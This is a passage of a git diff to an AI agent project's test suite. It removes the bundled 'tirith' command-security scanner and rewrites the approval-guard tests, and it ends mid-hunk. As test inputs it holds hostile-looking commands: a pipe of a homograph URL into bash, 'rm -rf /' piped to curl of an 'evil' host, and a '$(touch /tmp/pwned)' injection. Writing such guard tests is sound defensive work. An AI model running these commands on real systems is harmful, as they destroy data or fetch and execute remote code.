a/tests/gateway/test_approval_prompt_redaction.py b/tests/gateway/test_approval_prompt_redaction.pyindex 6426def4e5b..843dafc37b0 100644--- a/tests/gateway/test_approval_prompt_redaction.py+++ b/tests/gateway/test_approval_prompt_redaction.py@@ -1,10 +1,9 @@"""Regression test for approval prompt credential redaction (issue #48456).-When Tirith flags a command for containing a credential-shaped pattern, the-gateway approval prompt must redact the credential from the command text-before sending it to the chat platform. Without this fix, the raw command-(with the credential in plaintext) is sent verbatim to Telegram/Discord/etc.,-undoing Tirith's redaction one layer up.+When a flagged command contains a credential-shaped value, the gateway approval+prompt must redact the credential from the command text before sending it to+the chat platform. Without this fix, the raw command (with the credential in+plaintext) is sent verbatim to Telegram/Discord/etc.The redaction is wired through the module-level ``_redact_approval_command``seam. These tests bind that seam -- the production wiring -- not just thediff --git a/tests/gateway/test_failure_writer_ownership.py b/tests/gateway/test_failure_writer_ownership.pyindex 31696d9b22d..9340e17d38b 100644--- a/tests/gateway/test_failure_writer_ownership.py+++ b/tests/gateway/test_failure_writer_ownership.py@@ -26,7 +26,7 @@ def test_gateway_failure_writer_preserves_accepted_turn_identity(tmp_path):assert receipt.exists(), result.stdout + result.stderrdata = json.loads(receipt.read_text())assert all(row["reached"] for row in data["observations"]), data- # A startup lazy install (tirith → PM runtime) would download over the real network on a+ # A startup lazy install would download over the real network on a# background thread and pollute the archive case's process-wide tracemalloc window.assert data["blocked_external_attempts"] == [], data["blocked_external_attempts"]assert data["passed"] == data["total"], data["observations"]diff --git a/tests/hermes_cli/test_approval_transport.py b/tests/hermes_cli/test_approval_transport.pyindex db7a423c806..5075d1fb860 100644--- a/tests/hermes_cli/test_approval_transport.py+++ b/tests/hermes_cli/test_approval_transport.py@@ -266,7 +266,6 @@ def _configure_manual_guard(monkeypatch, approval_module, manager, *, fallback=Nmonkeypatch.setattr(approval_module, "is_approved", lambda *args: False)monkeypatch.setattr(approval_prompt, "get_plugin_manager", lambda: manager)monkeypatch.setattr(approval_context, "_get_approval_transport_config", lambda: ("phone", fallback))- monkeypatch.setattr("tools.tirith_security.check_command_security", lambda command: {"action": "allow"})def test_cli_selected_transport_replaces_builtin_prompt(monkeypatch):@@ -492,7 +491,6 @@ def register(ctx):"plugins": {"enabled": ["fixture-approval"]},"approvals": {"mode": "manual", "timeout": 2},"security": {- "tirith_enabled": False,"approval": {"transport": "fixture"},},}diff --git a/tests/hermes_cli/test_config_migration_50_tirith.py b/tests/hermes_cli/test_config_migration_50_tirith.pynew file mode 100644index 00000000000..bc9639a19e5--- /dev/null+++ b/tests/hermes_cli/test_config_migration_50_tirith.py@@ -0,0 +1,23 @@+"""Config v50: the bundled tirith scanner left Hermes."""++import hermes_yaml as yaml+++class TestRetiredTirithKeys:+ def test_v50_drops_tirith_keys_and_enables_nothing(self, tmp_path, monkeypatch):+ """The scanner left core: its keys are dropped, sibling security settings survive, and no+ plugin is enabled in its place."""+ from hermes_cli.config import DEFAULT_CONFIG+ from hermes_cli.config_migrations import run_migrations++ config_path = tmp_path / "config.yaml"+ config_path.write_text(yaml.safe_dump({+ "_config_version": 49,+ "security": {"redact_secrets": True, "tirith_enabled": True, "tirith_fail_open": False},+ }), encoding="utf-8")+ monkeypatch.setenv("HERMES_HOME", str(tmp_path))+ run_migrations(49, {"env_added": [], "config_added": [], "warnings": []}, quiet=True)+ raw = yaml.safe_load(config_path.read_text(encoding="utf-8"))+ assert raw["security"] == {"redact_secrets": True}+ assert not (raw.get("plugins") or {}).get("enabled")+ assert not any(key.startswith("tirith") for key in DEFAULT_CONFIG["security"])diff --git a/tests/hermes_cli/test_mcp_discovery_timing.py b/tests/hermes_cli/test_mcp_discovery_timing.pyindex a9c7f70aac0..f019114e62c 100644--- a/tests/hermes_cli/test_mcp_discovery_timing.py+++ b/tests/hermes_cli/test_mcp_discovery_timing.py@@ -166,7 +166,6 @@ def test_init_agent_forwards_single_query_flag(monkeypatch):cli._resumed = Falsecli.conversation_history = []cli._install_tool_callbacks = lambda: None- cli._ensure_tirith_security = lambda: Nonecli._ensure_runtime_credentials = lambda: Truecli._single_query_mode = True@@ -195,7 +194,6 @@ def test_init_agent_defaults_to_interactive(monkeypatch):cli._resumed = Falsecli.conversation_history = []cli._install_tool_callbacks = lambda: None- cli._ensure_tirith_security = lambda: Nonecli._ensure_runtime_credentials = lambda: Trueseen = {}diff --git a/tests/hermes_cli/test_resume_quiet_stderr.py b/tests/hermes_cli/test_resume_quiet_stderr.pyindex 6404b83845e..ea59a55fc55 100644--- a/tests/hermes_cli/test_resume_quiet_stderr.py+++ b/tests/hermes_cli/test_resume_quiet_stderr.py@@ -32,12 +32,11 @@ def _make_cli(quiet=False, session_id="20260524_111111_xyz", db=None):cli.agent = None# We need _init_agent to reach the resume block (line ~4757) but not# proceed into actual AIAgent construction. _ensure_runtime_credentials- # must return True (False returns early at line 4743). _install_tool_callbacks,- # _ensure_tirith_security are stubbed; the resume block will either return+ # must return True (False returns early at line 4743). _install_tool_callbacks+ # is stubbed; the resume block will either return# False (session-not-found) or reach the eventual AIAgent() call which# we'll let raise — we only check stdout/stderr printed BEFORE that.cli._install_tool_callbacks = lambda: None- cli._ensure_tirith_security = lambda: Nonecli._ensure_runtime_credentials = lambda: Truereturn clidiff --git a/tests/pm/test_security_consumers.py b/tests/pm/test_security_consumers.pyindex bc9cf776396..cf48e9ba71c 100644--- a/tests/pm/test_security_consumers.py+++ b/tests/pm/test_security_consumers.py@@ -62,8 +62,7 @@ def pin(server, name, version="1", *, bad_hash=False, payload=None, signature=NoRangeHandler.payloads[checksum_path] = checksumartifacts.append({"url": url(server, checksum_path), "sha256": hashlib.sha256(checksum).hexdigest()})if signature is not None:- files = ({"checksums.txt.sig": signature, "checksums.txt.pem": b"certificate"}- if name == "tirith" else {"checksums.txt.asc": signature, "public-key.asc": b"public-key"})+ files = {"checksums.txt.asc": signature, "public-key.asc": b"public-key"}for filename, raw in files.items():path = f"/{name}/{version}/{filename}"RangeHandler.payloads[path] = raw@@ -77,31 +76,25 @@ def consumer(name):if name == "bws":from agent.secret_sources.bitwarden import find_bws, install_bwsreturn find_bws, install_bws- if name == "iron-proxy":- from agent.proxy_sources.iron_proxy import find_iron_proxy, install_iron_proxy- return find_iron_proxy, install_iron_proxy- from tools.tirith_security import ensure_installed- return (lambda **kw: ensure_installed(),- lambda **kw: ensure_installed(explicit=True))+ from agent.proxy_sources.iron_proxy import find_iron_proxy, install_iron_proxy+ return find_iron_proxy, install_iron_proxy@pytest.mark.platforms("posix")[email protected]("name", ["bws", "iron-proxy", "tirith"])[email protected]("name", ["bws", "iron-proxy"])def test_consumer_lifecycle(consumer_store, monkeypatch, tmp_path, name):find, install = consumer(name)monkeypatch.setenv("PATH", "")- monkeypatch.setenv("TIRITH_ENABLED", "true")pin(consumer_store, name)- if name != "tirith":- external = tmp_path / name- external.write_text(f"#!{sys.executable}\nprint('external')\n")- external.chmod(0o755)- monkeypatch.setenv("PATH", str(tmp_path))- assert find(install_if_missing=True) == external- assert subprocess.check_output([external], text=True).strip() == "external"- assert pm.installed_package(name) is None- monkeypatch.setenv("PATH", "")+ external = tmp_path / name+ external.write_text(f"#!{sys.executable}\nprint('external')\n")+ external.chmod(0o755)+ monkeypatch.setenv("PATH", str(tmp_path))+ assert find(install_if_missing=True) == external+ assert subprocess.check_output([external], text=True).strip() == "external"+ assert pm.installed_package(name) is None+ monkeypatch.setenv("PATH", "")assert find(install_if_missing=True) is None # lazy refusal, no HTTPassert not RangeHandler.ranges_seenbinary = Path(install())@@ -124,7 +117,7 @@ def test_consumer_lifecycle(consumer_store, monkeypatch, tmp_path, name):@pytest.mark.platforms("posix")[email protected]("name,verifier", [("tirith", "cosign"), ("iron-proxy", "gpg")])[email protected]("name,verifier", [("iron-proxy", "gpg")])def test_signature_rejection_preserves_previous_selection(consumer_store, tmp_path, monkeypatch, name, verifier):"""A real child verifier rejects after PM hashes pass; publication must not happen."""commands = tmp_path / "commands"@@ -142,83 +135,25 @@ def test_signature_rejection_preserves_previous_selection(consumer_store, tmp_pa)executable.chmod(0o755)monkeypatch.setenv("PATH", str(commands))- monkeypatch.setenv("TIRITH_ENABLED", "true")_, install = consumer(name)pin(consumer_store, name, signature=b"accept")old = Path(install())pin(consumer_store, name, "2", signature=b"reject")- with pytest.raises(RuntimeError, match="cosign_verification_failed|GPG signature verification"):+ with pytest.raises(RuntimeError, match="GPG signature verification"):install(force=True)assert pm.installed_package(name, allow_outdated=True).binary == oldassert subprocess.check_output([old], text=True).strip() == f"{name} fixture 1"calls = [json.loads(line) for line in log.read_text().splitlines()]- if verifier == "cosign":- args = calls[0]- assert args[args.index("--certificate-identity-regexp") + 1] == (- r"^https://github.com/sheeki03/tirith/\.github/workflows/release\.yml@refs/tags/v"- )- assert args[args.index("--certificate-oidc-issuer") + 1] == "https://token.actions.githubusercontent.com"- else:- assert "--import" in calls[0] and "--verify" in calls[1]- assert not Path(calls[0][calls[0].index("--homedir") + 1]).exists()--[email protected]("posix")-def test_tirith_opt_in_background_and_explicit_override(consumer_store, tmp_path, monkeypatch):- from tools import tirith_security as tirith- import threading-- monkeypatch.setenv("PATH", "")- monkeypatch.setenv("TIRITH_ENABLED", "false")- pin(consumer_store, "tirith")- assert tirith.ensure_installed(explicit=True) is None- assert not RangeHandler.ranges_seen- monkeypatch.setenv("TIRITH_ENABLED", "true")- monkeypatch.setenv("TIRITH_BIN", str(tmp_path / "missing"))- assert tirith.ensure_installed(explicit=True) is None- assert not RangeHandler.ranges_seen- assert not tirith.missing_is_expected(), "a missing explicit binary must be reported"- external = tmp_path / "external-tirith"- external.write_text(f"#!{sys.executable}\nimport json,sys\nprint(json.dumps({{'summary':'external'}}))\nsys.exit(1)\n")- external.chmod(0o755)- monkeypatch.setenv("TIRITH_BIN", str(external))- assert tirith.check_command_security("echo hello")["summary"] == "external"- assert not RangeHandler.ranges_seen- monkeypatch.delenv("TIRITH_BIN")- monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS")- home = Path(os.environ["HERMES_HOME"])- home.mkdir(exist_ok=True)- (home / "config.yaml").write_text("security:\n allow_lazy_installs: true\n")- # Hold the real worker's HTTP request so returning before completion is- # event-proven, not an assertion against a replaced Thread constructor.- entered, release = threading.Event(), threading.Event()- real_get = RangeHandler.do_GET- def blocked_get(handler):- entered.set()- assert release.wait(10)- real_get(handler)- monkeypatch.setattr(RangeHandler, "do_GET", blocked_get)- try:- assert tirith.ensure_installed() is None- assert entered.wait(10)- assert pm.installed_package("tirith") is None- assert tirith.missing_is_expected(), "an in-flight first download is not a fault"- finally:- release.set()- for thread in tirith._install_threads.values():- thread.join(10)- assert not thread.is_alive()- assert Path(tirith.ensure_installed()) == pm.installed_package("tirith").binary+ assert "--import" in calls[0] and "--verify" in calls[1]+ assert not Path(calls[0][calls[0].index("--homedir") + 1]).exists()@pytest.mark.platforms("posix")def test_managed_consumers_run_their_business_protocol(consumer_store, monkeypatch):from agent.secret_sources.bitwarden import fetch_bitwarden_secrets, install_bwsfrom agent.proxy_sources.iron_proxy import install_iron_proxy, iron_proxy_version- from tools.tirith_security import check_command_security, ensure_installedmonkeypatch.setenv("PATH", "")- monkeypatch.setenv("TIRITH_ENABLED", "true")monkeypatch.setenv("MY_PRIVATE_TOKEN", "not-for-proxy")pin(consumer_store, "bws", payload=(f"#!{sys.executable}\nimport json,os,sys\n"@@ -240,28 +175,18 @@ def test_managed_consumers_run_their_business_protocol(consumer_store, monkeypat).encode())proxy = install_iron_proxy()assert iron_proxy_version(proxy) == "private proxy fixture"- pin(consumer_store, "tirith", payload=(- f"#!{sys.executable}\nimport json,sys\n"- "if '--version' in sys.argv: print('tirith fixture')\n"- "else:\n"- " assert sys.argv[1:] == ['check','--json','--non-interactive','--shell','posix','--','echo hello']\n"- " print(json.dumps({'summary':'managed scan','findings':[]}))\n sys.exit(2)\n"- ).encode())- ensure_installed(explicit=True)- assert check_command_security("echo hello") == {"action": "warn", "summary": "managed scan", "findings": []}@pytest.mark.platforms("posix")def test_nonregular_security_binary_is_never_published(consumer_store, monkeypatch):monkeypatch.setenv("PATH", "")- monkeypatch.setenv("TIRITH_ENABLED", "true")- _, install = consumer("tirith")- pin(consumer_store, "tirith")+ _, install = consumer("iron-proxy")+ pin(consumer_store, "iron-proxy")old = install()- pin(consumer_store, "tirith", "2", link=True)+ pin(consumer_store, "iron-proxy", "2", link=True)with pytest.raises(pm.InstallError, match="not a regular file"):install()- assert str(pm.installed_package("tirith", allow_outdated=True).binary) == old+ assert str(pm.installed_package("iron-proxy", allow_outdated=True).binary) == str(old)@pytest.mark.platforms("posix")@@ -299,43 +224,14 @@ def test_external_executable_does_not_require_pm_platform_support(tmp_path, monk@pytest.mark.platforms("posix")-def test_tirith_failed_cold_scans_make_one_attempt_then_explicit_can_retry(consumer_store, monkeypatch):- from tools import tirith_security as tirith- monkeypatch.setenv("PATH", "")- monkeypatch.setenv("TIRITH_ENABLED", "true")- monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS")- monkeypatch.setattr(tirith, "_crash_count", 0)- monkeypatch.setattr(tirith, "_circuit_open", False)- pin(consumer_store, "tirith", bad_hash=True)- requests = []- real_get = RangeHandler.do_GET- def record(handler):- requests.append(handler.path)- real_get(handler)- monkeypatch.setattr(RangeHandler, "do_GET", record)- tirith.check_command_security("echo hello")- for thread in tirith._install_threads.values():- thread.join(10)- first_attempt = list(requests)- assert first_attempt- tirith.check_command_security("echo hello")- tirith.check_command_security("echo hello")- assert requests == first_attempt- pin(consumer_store, "tirith")- assert tirith.ensure_installed(explicit=True)--[email protected]("posix")[email protected]("name", ["tirith", "iron-proxy"])[email protected]("name", ["iron-proxy"])def test_locked_provenance_is_required_even_without_a_verifier(consumer_store, monkeypatch, name):monkeypatch.setenv("PATH", "")- monkeypatch.setenv("TIRITH_ENABLED", "true")_, install = consumer(name)pin(consumer_store, name, signature=b"pinned-signature")old = Path(install()) # absent verifier permits hash-verified installationpin(consumer_store, name, "2", signature=b"pinned-signature")- suffix = "sig" if name == "tirith" else "asc"- missing = f"/{name}/2/checksums.txt.{suffix}"+ missing = f"/{name}/2/checksums.txt.asc"raw = RangeHandler.payloads.pop(missing)with pytest.raises(pm.InstallError):install()diff --git a/tests/skills/test_github_credential_token.py b/tests/skills/test_github_credential_token.pyindex 29062137a45..f93cd8fb434 100644--- a/tests/skills/test_github_credential_token.py+++ b/tests/skills/test_github_credential_token.py@@ -1,4 +1,4 @@-"""Regression tests for Tirith-safe GitHub credential extraction (#22722)."""+"""Regression tests for scanner-safe GitHub credential extraction (#22722)."""from pathlib import Pathimport subprocessdiff --git a/tests/tools/test_approval_config_readonly.py b/tests/tools/test_approval_config_readonly.pyindex 056aa574da9..b298f19213d 100644--- a/tests/tools/test_approval_config_readonly.py+++ b/tests/tools/test_approval_config_readonly.py@@ -18,7 +18,6 @@ import hermes_cli.config as hcfrom tools.approval import check_all_command_guards, load_permanent_allowlistfrom tools.approval_context import _get_approval_configfrom tools.approval_context import _get_cron_approval_mode-from tools.tirith_security import _load_security_config@pytest.fixture@@ -29,7 +28,6 @@ def config_home(tmp_path, monkeypatch):"model:\n default: test-model\n""approvals:\n mode: manual\n timeout: 300\n cron_mode: deny\n""command_allowlist: []\n"- "security:\n tirith_enabled: false\n")monkeypatch.setenv("HERMES_HOME", str(home))hc._LOAD_CONFIG_CACHE.clear()@@ -50,6 +48,5 @@ def test_readers_return_live_cache_without_corrupting_it(check_all_command_guards("ls -la", "local")_get_cron_approval_mode()load_permanent_allowlist()- _load_security_config()assert _get_approval_config() == beforeassert hc.load_config_readonly()["approvals"]["mode"] == "manual"diff --git a/tests/tools/test_approval_plugin_hooks.py b/tests/tools/test_approval_plugin_hooks.pyindex 22680ae803d..7a1b7e112a0 100644--- a/tests/tools/test_approval_plugin_hooks.py+++ b/tests/tools/test_approval_plugin_hooks.py@@ -154,10 +154,6 @@ class TestSmartModeFiresHooks:monkeypatch.setattr(approval_module, "_YOLO_MODE_FROZEN", False)monkeypatch.setattr(approval_context, "_get_approval_mode", lambda: "smart")monkeypatch.setattr(approval_smart, "_smart_approve", lambda *_: verdict)- monkeypatch.setattr(- "tools.tirith_security.check_command_security",- lambda _: {"action": "allow", "findings": [], "summary": ""},- )@pytest.mark.parametrize(("guard", "value", "verdict", "approved", "choice", "pattern_key"),@@ -317,10 +313,6 @@ class TestSmartModeFiresHooks:monkeypatch.setattr(approval_module, "_YOLO_MODE_FROZEN", False)monkeypatch.setattr(approval_context, "_get_approval_mode", lambda: "smart")monkeypatch.setattr(approval_smart, "_smart_approve", lambda *_: next(verdicts))- monkeypatch.setattr(- "tools.tirith_security.check_command_security",- lambda _: {"action": "allow", "findings": [], "summary": ""},- )captured = []with patch("hermes_cli.plugins.invoke_hook",diff --git a/tests/tools/test_cli_approval_exec_ask_leak.py b/tests/tools/test_cli_approval_exec_ask_leak.pyindex f2f6d295080..015546c0bc8 100644--- a/tests/tools/test_cli_approval_exec_ask_leak.py+++ b/tests/tools/test_cli_approval_exec_ask_leak.py@@ -44,10 +44,6 @@ def _clean_approval_env(monkeypatch):approval_context, "_get_approval_mode",lambda: "manual",)- monkeypatch.setattr(- "tools.tirith_security.check_command_security",- lambda _command: {"action": "allow", "findings": [], "summary": ""},- )approval_module._session_approved.clear()approval_module._permanent_approved.clear()approval_module._pending.clear()diff --git a/tests/tools/test_command_guards.py b/tests/tools/test_command_guards.pyindex 953996fc2fe..aa6e7e69acf 100644--- a/tests/tools/test_command_guards.py+++ b/tests/tools/test_command_guards.py@@ -1,4 +1,4 @@-"""Tests for check_all_command_guards() — combined tirith + dangerous command guard."""+"""Tests for check_all_command_guards() — the combined floor + dangerous-command guard."""import osfrom unittest.mock import patch, MagicMock@@ -7,26 +7,9 @@ import pytestimport tools.approval as approval_modulefrom tools import approval_context-from tools.approval import approve_session, check_all_command_guards, check_dangerous_command, is_approved+from tools.approval import approve_session, check_all_command_guards, detect_dangerous_commandfrom tools.approval_context import set_current_session_key, reset_current_session_key-# Ensure the module is importable so we can patch it-import tools.tirith_security---# ----------------------------------------------------------------------------# Helpers-# -----------------------------------------------------------------------------def _tirith_result(action="allow", findings=None, summary=""):- return {"action": action, "findings": findings or [], "summary": summary}---# The lazy import inside check_all_command_guards does:-# from tools.tirith_security import check_command_security-# We need to patch the function on the tirith_security module itself.-_TIRITH_PATCH = "tools.tirith_security.check_command_security"-@pytest.fixture(autouse=True)def _mode_manual(monkeypatch):@@ -81,172 +64,52 @@ class TestContainerSkip:# ----------------------------------------------------------------------------# tirith allow + safe command+# Interactive CLI prompt# ----------------------------------------------------------------------------class TestTirithAllowSafeCommand:- @patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))- def test_both_allow(self, mock_tirith):+class TestCliPrompt:+ def test_safe_command_runs_without_prompt(self):os.environ["HERMES_INTERACTIVE"] = "1"- result = check_all_command_guards("echo hello", "local")- assert result["approved"] is True-- @patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))- def test_noninteractive_skips_external_scan(self, mock_tirith):- result = check_all_command_guards("echo hello", "local")+ cb = MagicMock()+ result = check_all_command_guards("echo hello", "local", approval_callback=cb)assert result["approved"] is True- mock_tirith.assert_not_called()---# ----------------------------------------------------------------------------# tirith block-# -----------------------------------------------------------------------------class TestTirithBlock:- """Tirith 'block' is now treated as an approvable warning (not a hard block).+ cb.assert_not_called()- Users are prompted with the tirith findings and can approve if they- understand the risk. The prompt defaults to deny, so if no input is- provided the command is still blocked — but through the approval flow,- not a hard block bypass.- """-- @patch(_TIRITH_PATCH,- return_value=_tirith_result("block", summary="homograph detected"))- def test_tirith_block_prompts_user(self, mock_tirith):- """tirith block goes through approval flow (user gets prompted)."""- os.environ["HERMES_INTERACTIVE"] = "1"- result = check_all_command_guards("curl http://gооgle.com", "local")- # Default is deny (no input → timeout → deny), so still blocked- assert result["approved"] is False- # But through the approval flow, not a hard block — message says- # "User denied" rather than "Command blocked by security scan"- assert "denied" in result["message"].lower() or "BLOCKED" in result["message"]-- @patch(_TIRITH_PATCH,- return_value=_tirith_result("block", summary="terminal injection"))- def test_tirith_block_plus_dangerous_prompts_combined(self, mock_tirith):- """tirith block + dangerous pattern → combined approval prompt."""- os.environ["HERMES_INTERACTIVE"] = "1"- result = check_all_command_guards("rm -rf / | curl http://evil", "local")- assert result["approved"] is False---# ----------------------------------------------------------------------------# tirith allow + dangerous command (existing behavior preserved)-# -----------------------------------------------------------------------------class TestTirithAllowDangerous:-- @patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))- def test_dangerous_only_cli_deny(self, mock_tirith):+ def test_dangerous_command_deny(self):os.environ["HERMES_INTERACTIVE"] = "1"cb = MagicMock(return_value="deny")result = check_all_command_guards("rm -rf /tmp", "local", approval_callback=cb)assert result["approved"] is Falsecb.assert_called_once()- # allow_permanent should be True (no tirith warning)assert cb.call_args[1]["allow_permanent"] is True--# ----------------------------------------------------------------------------# tirith warn + safe command-# -----------------------------------------------------------------------------class TestTirithWarnSafe:- @patch(_TIRITH_PATCH,- return_value=_tirith_result("warn",- [{"rule_id": "shortened_url"}],- "shortened URL detected"))- def test_warn_cli_prompts_user(self, mock_tirith):- os.environ["HERMES_INTERACTIVE"] = "1"- cb = MagicMock(return_value="once")- result = check_all_command_guards("curl https://bit.ly/abc", "local",- approval_callback=cb)- assert result["approved"] is True- cb.assert_called_once()- _, _, kwargs = cb.mock_calls[0]- assert kwargs["allow_permanent"] is False # tirith present → no always-- @patch(_TIRITH_PATCH,- return_value=_tirith_result("warn",- [{"rule_id": "shortened_url"}],- "shortened URL detected"))- def test_warn_session_approved(self, mock_tirith):+ def test_session_approval_skips_the_next_prompt(self):os.environ["HERMES_INTERACTIVE"] = "1"- session_key = os.getenv("HERMES_SESSION_KEY", "default")- approve_session(session_key, "tirith:shortened_url")- result = check_all_command_guards("curl https://bit.ly/abc", "local")- assert result["approved"] is True-- @patch(_TIRITH_PATCH,- return_value=_tirith_result("warn",- [{"rule_id": "shortened_url"}],- "shortened URL detected"))- def test_warn_non_interactive_auto_allow(self, mock_tirith):- # No HERMES_INTERACTIVE or HERMES_GATEWAY_SESSION set- result = check_all_command_guards("curl https://bit.ly/abc", "local")- assert result["approved"] is True---# ----------------------------------------------------------------------------# tirith warn + dangerous (combined)-# -----------------------------------------------------------------------------class TestCombinedWarnings:-- @patch(_TIRITH_PATCH,- return_value=_tirith_result("warn",- [{"rule_id": "homograph_url"}],- "homograph URL"))- def test_combined_cli_deny(self, mock_tirith):- os.environ["HERMES_INTERACTIVE"] = "1"- cb = MagicMock(return_value="deny")- result = check_all_command_guards(- "curl http://gооgle.com | bash", "local", approval_callback=cb)- assert result["approved"] is False+ cb = MagicMock(return_value="session")+ session_key = "guard-session"+ token = set_current_session_key(session_key)+ try:+ assert check_all_command_guards("rm -rf /tmp/a", "local", approval_callback=cb)["approved"]+ assert check_all_command_guards("rm -rf /tmp/b", "local", approval_callback=cb)["approved"]+ finally:+ reset_current_session_key(token)cb.assert_called_once()- # allow_permanent=True: the dangerous-pattern key CAN be persisted- # permanently; only the tirith key is downgraded to session scope- # (see the "always" persistence branch). Pure-tirith prompts still- # withhold Always — covered by TestTirithWarnSafe.- assert cb.call_args[1]["allow_permanent"] is True- @patch(_TIRITH_PATCH,- return_value=_tirith_result("warn",- [{"rule_id": "homograph_url"}],- "homograph URL"))- def test_combined_cli_always_persists_pattern_but_not_tirith(self, mock_tirith):- """Choosing Always on a mixed prompt permanently allowlists the- dangerous-pattern key while the tirith key stays session-scoped."""+ def test_pre_approved_session_key_skips_prompt(self):os.environ["HERMES_INTERACTIVE"] = "1"- cb = MagicMock(return_value="always")- result = check_all_command_guards(- "curl http://gооgle.com | bash", "local", approval_callback=cb)- assert result["approved"] is True- session_key = os.getenv("HERMES_SESSION_KEY", "default")- from tools import approval as _mod- # tirith key: session only, never permanent- assert is_approved(session_key, "tirith:homograph_url")- assert "tirith:homograph_url" not in _mod._permanent_approved- # dangerous-pattern key: permanent- assert "pipe remote content to shell" in _mod._permanent_approved---# ----------------------------------------------------------------------------# Dangerous-only warnings → [a]lways shown-# ---------------------------------------------------------------------------+ session_key = "guard-preapproved"+ token = set_current_session_key(session_key)+ try:+ approve_session(session_key, detect_dangerous_command("rm -rf /tmp/x")[1])+ cb = MagicMock()+ assert check_all_command_guards("rm -rf /tmp/x", "local", approval_callback=cb)["approved"]+ finally:+ reset_current_session_key(token)+ cb.assert_not_called()-class TestAlwaysVisibility:- @patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))- def test_dangerous_only_allows_permanent(self, mock_tirith):- os.environ["HERMES_INTERACTIVE"] = "1"- cb = MagicMock(return_value="always")- result = check_all_command_guards("rm -rf /tmp/test", "local",- approval_callback=cb)+ def test_non_interactive_auto_allows(self):+ result = check_all_command_guards("rm -rf /tmp/x", "local")assert result["approved"] is True- cb.assert_called_once()- assert cb.call_args[1]["allow_permanent"] is True# ---------------------------------------------------------------------------@@ -254,11 +117,7 @@ class TestAlwaysVisibility:# ---------------------------------------------------------------------------class TestCommandAllowlistGlobs:- @patch(_TIRITH_PATCH,- return_value=_tirith_result("warn",- [{"rule_id": "container_run"}],- "container run"))- def test_glob_allowlist_bypasses_combined_guard(self, mock_tirith):+ def test_glob_allowlist_bypasses_combined_guard(self):os.environ["HERMES_INTERACTIVE"] = "1"approval_module._permanent_approved.add("podman *")@@ -268,7 +127,6 @@ class TestCommandAllowlistGlobs:)assert result["approved"] is True- mock_tirith.assert_not_called()@pytest.mark.parametrize(@@ -284,74 +142,9 @@ class TestCommandAllowlistGlobs:"podman run x $(touch /tmp/pwned)",],)- @patch(_TIRITH_PATCH,- return_value=_tirith_result("warn",- [{"rule_id": "container_run"}],- "container run"))- def test_glob_allowlist_does_not_bypass_compound_shell_commands(- self, mock_tirith, command- ):- os.environ["HERMES_INTERACTIVE"] = "1"+ def test_glob_allowlist_does_not_bypass_compound_shell_commands(self, command):approval_module._permanent_approved.add("podman *")- cb = MagicMock(return_value="once")-- result = check_all_command_guards(command, "local", approval_callback=cb)-- assert result["approved"] is True- mock_tirith.assert_called_once_with(command)- cb.assert_called_once()---# ----------------------------------------------------------------------------# tirith ImportError → treated as allow-# -----------------------------------------------------------------------------class TestTirithImportError:- def test_import_error_allows(self):- """When tools.tirith_security can't be imported, treated as allow."""- import sys- # Temporarily remove the module and replace with something that raises- original = sys.modules.get("tools.tirith_security")- sys.modules["tools.tirith_security"] = None # causes ImportError on from-import- try:- result = check_all_command_guards("echo hello", "local")- assert result["approved"] is True- finally:- if original is not None:- sys.modules["tools.tirith_security"] = original- else:- sys.modules.pop("tools.tirith_security", None)---# ----------------------------------------------------------------------------# tirith warn + empty findings → still prompts-# -----------------------------------------------------------------------------class TestWarnEmptyFindings:- @patch(_TIRITH_PATCH,- return_value=_tirith_result("warn", [], "generic warning"))- def test_warn_empty_findings_cli_prompts(self, mock_tirith):- os.environ["HERMES_INTERACTIVE"] = "1"- cb = MagicMock(return_value="once")- result = check_all_command_guards("suspicious cmd", "local",- approval_callback=cb)- assert result["approved"] is True- cb.assert_called_once()- desc = cb.call_args[0][1]- assert "Security scan" in desc---# ----------------------------------------------------------------------------# Programming errors propagate through orchestration-# -----------------------------------------------------------------------------class TestProgrammingErrorsPropagateFromWrapper:- @patch(_TIRITH_PATCH, side_effect=AttributeError("bug in wrapper"))- def test_attribute_error_propagates(self, mock_tirith):- """Non-ImportError exceptions from tirith wrapper should propagate."""- os.environ["HERMES_INTERACTIVE"] = "1"- with pytest.raises(AttributeError, match="bug in wrapper"):- check_all_command_guards("echo hello", "local")+ assert approval_module._command_matches_permanent_allowlist(command) is False# ---------------------------------------------------------------------------@@ -361,8 +154,7 @@ class TestProgrammingErrorsPropagateFromWrapper:class TestGatewayApprovalAllowPermanent:"""The gateway emits the approval prompt to the renderer via the notifypayload (TUI/desktop both consume it). It must carry ``allow_permanent``- so the UI doesn't offer a permanent allow the backend would silently- downgrade to session scope for tirith content-security findings.+ so the UI offers exactly the scopes the backend will honor."""def _capture_gateway_payload(self, command, session_key):@@ -400,32 +192,8 @@ class TestGatewayApprovalAllowPermanent:return captured[0]def test_dangerous_only_allows_permanent(self):- """No tirith warning → permanent allow is offered."""+ """A dangerous-pattern prompt offers permanent and session scope."""payload = self._capture_gateway_payload("rm -rf /important", "gw-allow-perm")assert payload["command"] == "rm -rf /important"assert payload["allow_permanent"] is True-- @patch(_TIRITH_PATCH,- return_value=_tirith_result("warn",- [{"rule_id": "shortened_url"}],- "shortened URL detected"))- def test_tirith_warning_disallows_permanent(self, mock_tirith):- """tirith content-security warning → permanent allow is withheld so the- renderer hides "Always allow"."""- payload = self._capture_gateway_payload("curl https://bit.ly/abc", "gw-no-perm")- assert payload["allow_permanent"] is False- # Session scope stays available — pure-tirith prompts are session-max,- # not once-max (salvaged from PR #67312).assert payload["allow_session"] is True-- @patch(_TIRITH_PATCH,- return_value=_tirith_result("warn",- [{"rule_id": "homograph_url"}],- "homograph URL"))- def test_mixed_tirith_and_pattern_allows_permanent(self, mock_tirith):- """Mixed prompt (dangerous pattern + tirith) → Always is offered:- the pattern key persists permanently, the tirith key is downgraded- to session scope by the persistence layer."""- payload = self._capture_gateway_payload(- "curl http://gооgle.com | bash", "gw-mixed-perm")- assert payload["allow_permanent"] is Truediff --git a/tests/tools/test_cron_approval_mode.py b/tests/tools/test_cron_approval_mode.pyindex e623d2d8833..e734343953e 100644--- a/tests/tools/test_cron_approval_mode.py+++ b/tests/tools/test_cron_approval_mode.py@@ -226,40 +226,11 @@ class TestCronDenyModeAllGuards:approval_module.load_permanent({"script execution via heredoc"})from unittest.mock import patch as mock_patch- with (- mock_patch("tools.approval_context._get_cron_approval_mode", 